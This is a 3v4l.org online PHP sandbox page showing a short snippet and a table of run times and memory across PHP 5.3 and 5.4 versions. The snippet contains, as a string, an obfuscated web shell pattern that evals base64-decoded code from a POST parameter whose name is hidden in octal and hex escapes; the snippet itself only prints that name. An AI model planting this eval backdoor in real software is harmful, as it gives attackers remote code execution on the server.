3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_='if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); }'; $__='$code=($_);print($code);'; $___='base64_decode'; $blah='\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D' print($blah) ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.300.0100.04612.50
5.4.290.0100.04912.50
5.4.280.0110.04412.39
5.4.270.0080.04812.39
5.4.260.0100.05212.39
5.4.250.0130.04812.39
5.4.240.0110.05012.39
5.4.230.0080.04812.38
5.4.220.0060.04712.38
5.4.210.0110.03712.38
5.4.200.0080.05312.38
5.4.190.0210.08112.38
5.4.180.0160.08412.38
5.4.170.0100.06812.38
5.4.160.0180.06312.38
5.4.150.0040.06912.38
5.4.140.0170.06212.07
5.4.130.0090.05612.05
5.4.120.0060.05712.02
5.4.110.0070.04312.01
5.4.100.0090.03512.01
5.4.90.0060.04112.01
5.4.80.0130.04612.01
5.4.70.0090.07512.01
5.4.60.0130.06912.01
5.4.50.0040.06112.01
5.4.40.0090.04811.99
5.4.30.0070.04911.99
5.4.20.0100.05211.99
5.4.10.0210.06011.99
5.4.00.0100.06511.49
5.3.280.0060.05512.71
5.3.270.0120.06112.72
5.3.260.0070.04712.72
5.3.250.0070.05312.72
5.3.240.0080.05212.72
5.3.230.0100.04912.71
5.3.220.0060.03812.68
5.3.210.0120.04412.68
5.3.200.0090.05012.68
5.3.190.0100.04912.68
5.3.180.0100.05312.67
5.3.170.0100.04912.67
5.3.160.0150.06112.67
5.3.150.0050.04712.68
5.3.140.0040.04012.66
5.3.130.0070.04112.66
5.3.120.0130.05312.66
5.3.110.0070.05212.66
5.3.100.0080.03812.12
5.3.90.0070.03812.08
5.3.80.0070.04212.07
5.3.70.0080.04412.08
5.3.60.0120.04212.07
5.3.50.0130.06012.00
5.3.40.0180.04012.00
5.3.30.0110.04511.95
5.3.20.0170.05311.73
5.3.10.0070.03911.70
5.3.00.0090.04411.68

preferences:
141.26 ms | 1394 KiB | 7 Q